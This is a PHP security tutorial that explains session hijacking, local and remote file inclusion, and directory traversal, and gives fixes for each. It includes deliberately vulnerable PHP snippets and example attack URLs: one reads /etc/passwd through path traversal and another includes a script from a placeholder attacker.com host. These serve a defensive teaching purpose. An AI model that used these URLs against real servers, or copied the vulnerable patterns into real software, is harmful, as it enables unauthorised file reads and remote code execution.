Advanced Security Practices for PHP Developers: Mitigating Session Hijacking and Other Vulnerabilities

Nagvekar
9 min readMay 27, 2024

--

Article 2: Understanding and Preventing Session Hijacking, File Inclusion, and Directory Traversal in PHP

Continuing our exploration of security vulnerabilities in PHP, this article shifts focus to lesser-known but equally damaging risks such as File Inclusion and Session Hijacking. These vulnerabilities can compromise data integrity and privacy, making their understanding crucial for any secure PHP development.

Directory Traversal and File Inclusion Vulnerabilities
Directory Traversal and File Inclusion Vulnerabilities

Remaining PHP Security Vulnerabilities

Session Hijacking

Description: It’s a security exploit in which an attacker takes over a user’s session to gain unauthorised access to their data and actions within a web application. This can lead to severe consequences, including data theft, unauthorised transactions, and compromising the integrity of the application.

Example: An attacker steals a user’s session cookie through an XSS attack and uses it to access their account.

Session Hijacking
Session Hijacking

How Session Hijacking Takes Place

Session hijacking typically involves stealing or guessing the session ID, which is a unique identifier assigned to each user session by the server. Here are some common methods used by attackers:

  1. Session Fixation: The attacker sets a user’s session ID to a known value. Once the user logs in, the attacker uses the known session ID to hijack the session.
  2. Session Sniffing: The attacker intercepts communication between the user and the server to capture the session ID. This is often done on unsecured networks (e.g., public Wi-Fi).
  3. Cross-Site Scripting (XSS): The attacker injects malicious scripts into the web application, which can then be used to steal session IDs.
  4. Man-in-the-Middle (MitM) Attacks: The attacker intercepts and alters the communication between the user and the server, capturing the session ID in the process.

Vulnerable Code Example

Below is an example of vulnerable PHP code that does not properly secure session data:


// Starting a session
session_start();

// Storing user data in the session
$_SESSION['username'] = $_POST['username'];

// User is authenticated
echo "Welcome, " . $_SESSION['username'];

This code is vulnerable because:

  1. Session ID Not Regenerated: The session ID is not regenerated upon successful login, making it susceptible to session fixation.
  2. No Secure Flag: The session cookie does not have the Secure flag, meaning it can be transmitted over unsecured connections.
  3. No HttpOnly Flag: The session cookie does not have the HttpOnly flag, making it accessible via JavaScript, which is dangerous if an XSS vulnerability exists.

Prevention Strategies

To prevent session hijacking, consider implementing the following security measures:

Regenerate Session ID

Regenerate the session ID upon successful login to prevent session fixation attacks.


session_start();

// Regenerate session ID
session_regenerate_id(true);

// Store user data in the session
$_SESSION['username'] = $_POST['username'];

// User is authenticated
echo "Welcome, " . $_SESSION['username'];

Set Secure and HttpOnly Flags

Ensure that the session cookie is only transmitted over HTTPS and is not accessible via JavaScript.


session_start();

// Set session cookie parameters
$cookieParams = session_get_cookie_params();
session_set_cookie_params([
'lifetime' => $cookieParams['lifetime'],
'path' => $cookieParams['path'],
'domain' => $cookieParams['domain'],
'secure' => true, // Only send the cookie over HTTPS
'httponly' => true, // Accessible only through HTTP(S), not JavaScript
'samesite' => 'Strict' // Prevent cross-site request forgery
]);

// Start session after setting cookie parameters
session_start();

// Regenerate session ID
session_regenerate_id(true);

// Store user data in the session
$_SESSION['username'] = $_POST['username'];

// User is authenticated
echo "Welcome, " . $_SESSION['username'];

Implement HTTPS

Always use HTTPS to encrypt data transmitted between the user and the server, preventing session sniffing and MitM attacks.

Use Session Timeout

Implement session timeouts to limit the duration of a session, reducing the window of opportunity for an attacker.


session_start();

// Set session timeout duration (e.g., 30 minutes)
$timeout_duration = 1800;

// Check if the session is set and if it has expired
if (isset($_SESSION['last_activity']) && (time() - $_SESSION['last_activity']) > $timeout_duration) {
session_unset(); // Unset session variables
session_destroy(); // Destroy the session
header("Location: login.php"); // Redirect to login page
}

// Update last activity timestamp
$_SESSION['last_activity'] = time();

// Regenerate session ID periodically (e.g., every 5 minutes)
if (!isset($_SESSION['created'])) {
$_SESSION['created'] = time();
} else if (time() - $_SESSION['created'] > 300) {
session_regenerate_id(true);
$_SESSION['created'] = time();
}

Validate User Agent and IP Address

Optionally, you can validate the user agent and IP address to ensure the session is being used by the same client.


session_start();

// Store user agent and IP address upon session creation
if (!isset($_SESSION['user_agent'])) {
$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
}
if (!isset($_SESSION['user_ip'])) {
$_SESSION['user_ip'] = $_SERVER['REMOTE_ADDR'];
}

// Validate user agent and IP address on each request
if ($_SESSION['user_agent'] !== $_SERVER['HTTP_USER_AGENT'] || $_SESSION['user_ip'] !== $_SERVER['REMOTE_ADDR']) {
session_unset();
session_destroy();
header("Location: login.php");
}

Conclusion

Session hijacking is a significant threat to web application security, but by implementing robust security measures in your PHP code, you can mitigate this risk. Regenerating session IDs, setting secure and HttpOnly flags, using HTTPS, implementing session timeouts, and validating the user agent and IP address are effective strategies to protect user sessions. These practices not only enhance the security of your application but also help maintain user trust and data integrity.

File Inclusion

Description: File inclusion vulnerabilities occur when a web application allows the inclusion of files without proper validation. These vulnerabilities can be exploited to execute arbitrary code, access sensitive data, or escalate privileges. File inclusion can be categorized into two main types: Local File Inclusion (LFI) and Remote File Inclusion (RFI).

Example: An attacker manipulates a URL parameter to force the application to include a malicious file, leading to remote code execution.

File Inclusion Vulnerabilities

How File Inclusion Takes Place

  1. Local File Inclusion (LFI): LFI occurs when the application includes files from the local file system. An attacker can manipulate the input to include sensitive files, such as configuration files or password files.
  2. Remote File Inclusion (RFI): RFI happens when the application includes files from a remote server. This allows an attacker to execute remote scripts, leading to complete compromise of the server.

Vulnerable Code Example

Below is an example of vulnerable PHP code that does not properly validate file inclusion:

// vulnerable.php

$page = $_GET['page'];
include($page . '.php');

This code is vulnerable because it directly uses user input in the include statement. An attacker can exploit this by manipulating the file parameter in the URL:

LFI Example:

http://example.com/vulnerable.php?file=../../../../etc/passwd

RFI Example:

http://example.com/vulnerable.php?file=http://attacker.com/malicious.php

Mitigation Strategies

To prevent file inclusion vulnerabilities, follow these best practices:

Use Whitelisting

Only allow the inclusion of specific, known files. Use a whitelist to validate user input.


// secure.php

// Define a whitelist of allowed files
$whitelist = ['home.php', 'about.php', 'contact.php'];

// Get the filename from user input
$filename = $_GET['file'];

// Check if the filename is in the whitelist
if (in_array($filename, $whitelist)) {
include($filename);
} else {
// Handle invalid file request
echo "Invalid file request.";
}

Use Static File Paths

Avoid using user input directly in file paths. Instead, use predefined paths or map input to specific files.


// secure.php

// Map user input to specific files
$pages = [
'home' => 'home.php',
'about' => 'about.php',
'contact' => 'contact.php'
];

// Get the page from user input
$page = $_GET['page'];

// Check if the page exists in the map
if (isset($pages[$page])) {
include($pages[$page]);
} else {
// Handle invalid page request
echo "Invalid page request.";
}

Disable Remote File Inclusion

Disable the ability to include remote files by setting allow_url_include to 0 in your php.ini configuration file.

; php.ini
allow_url_include = 0

Sanitize User Input

Sanitize and validate user input to ensure it does not contain any malicious content.


// secure.php

// Sanitize user input
$filename = basename($_GET['file']);

// Define a directory for inclusion
$base_dir = __DIR__ . '/includes/';

// Construct the full file path
$file_path = $base_dir . $filename;

// Check if the file exists and is within the allowed directory
if (file_exists($file_path) && strpos(realpath($file_path), $base_dir) === 0) {
include($file_path);
} else {
// Handle invalid file request
echo "Invalid file request.";
}

Use Error Handling

Implement proper error handling to manage file inclusion errors securely.

// secure.php

// Sanitize user input
$filename = basename($_GET['file']);

// Define a directory for inclusion
$base_dir = __DIR__ . '/includes/';

// Construct the full file path
$file_path = $base_dir . $filename;

try {
if (file_exists($file_path) && strpos(realpath($file_path), $base_dir) === 0) {
include($file_path);
} else {
throw new Exception("Invalid file request.");
}
} catch (Exception $e) {
// Handle error securely
echo $e->getMessage();
}

Conclusion

File inclusion vulnerabilities pose a serious threat to PHP applications, but by implementing robust security measures, you can mitigate these risks effectively. Using whitelisting, static file paths, disabling remote file inclusion, sanitising user input, and proper error handling are essential strategies to prevent unauthorised access and execution of code.

Directory Traversal

Description : Directory traversal, also known as path traversal, is a web security vulnerability that allows an attacker to access files and directories that are stored outside the web root folder. This can lead to unauthorised access to sensitive files, configuration files, and potentially user data.

Directory Traversal
Directory Traversal

How It Takes Place

Directory traversal vulnerability typically occurs when a web application uses user input to access files without properly sanitizing the input. As a result, an attacker could exploit this to access sensitive files like configuration files, source code, or even execute code that can control the server.

Vulnerable PHP Code Example

Here’s an example of PHP code vulnerable to directory traversal attacks:

// vulnerable.php

// Get the filename from user input
$filename = $_GET['file'];

// Construct the full file path
$file_path = 'uploads/' . $filename;

// Include the file
include($file_path);

An attacker can exploit this vulnerability by manipulating the file parameter in the URL to include arbitrary files:

http://example.com/vulnerable.php?file=../../../../etc/passwd

This would allow the attacker to read the contents of the /etc/passwd file.

Mitigation Strategies

To prevent directory traversal vulnerabilities, implement the following security measures:

Sanitize User Input

Use functions like basename() to strip directory paths and only allow filenames.

// secure.php

// Get the filename from user input
$filename = basename($_GET['file']);

// Construct the full file path
$file_path = 'uploads/' . $filename;

// Include the file
include($file_path);

Validate User Input Against a Whitelist

Only allow specific, known filenames.

// secure.php

// Define a whitelist of allowed files
$whitelist = ['file1.php', 'file2.php', 'file3.php'];

// Get the filename from user input
$filename = $_GET['file'];

// Check if the filename is in the whitelist
if (in_array($filename, $whitelist)) {
// Construct the full file path
$file_path = 'uploads/' . $filename;
include($file_path);
} else {
// Handle invalid file request
echo "Invalid file request.";
}

Use Static File Paths

Avoid using user input directly in file paths.

// secure.php

// Map user input to specific files
$pages = [
'home' => 'home.php',
'about' => 'about.php',
'contact' => 'contact.php'
];

// Get the page from user input
$page = $_GET['page'];

// Check if the page exists in the map
if (isset($pages[$page])) {
include($pages[$page]);
} else {
// Handle invalid page request
echo "Invalid page request.";
}

Real Path Verification

Verify that the resolved path is within the intended directory using realpath() and ensure it starts with the expected base directory.

// secure.php

// Get the filename from user input
$filename = $_GET['file'];

// Define the base directory
$base_dir = realpath('uploads');

// Construct the full file path
$file_path = realpath($base_dir . '/' . $filename);

// Verify that the file path is within the base directory
if (strpos($file_path, $base_dir) === 0 && file_exists($file_path)) {
include($file_path);
} else {
// Handle invalid file request
echo "Invalid file request.";
}

Conclusion

Directory traversal vulnerabilities can lead to severe security breaches, including unauthorised access to sensitive files. By properly sanitising and validating user input, using static file paths, and verifying resolved paths, you can mitigate these risks effectively.

Difference Between Directory Traversal and File Inclusion Vulnerabilities

Directory traversal and file inclusion are both common vulnerabilities in web applications, but they differ in their mechanisms, objectives, and impacts. Understanding these differences is crucial for developers to effectively secure their applications.

Directory traversal, also referred to as path traversal, is a vulnerability that enables an attacker to access files and directories located outside the web root folder by manipulating input parameters.

File inclusion vulnerabilities arise when a program includes files based on user input that has not been validated properly. This can result in the execution of malicious programs or the insertion of unwanted files.

Conclusion

By understanding and addressing the intricacies of Directory Traversal, File Inclusion and Session Hijacking, you can significantly enhance the security posture of your PHP applications. As we continue to explore more complex vulnerabilities in our next article, remember that each layer of security you implement fortifies your application’s defenses against potential attacks. Stay tuned as we tackle Remote Code Execution and other severe threats in our upcoming discussion.

--

--

Nagvekar

Experienced tech leader skilled in programming, web services, and AI. Committed to developing scalable microservices and enhancing cybersecurity.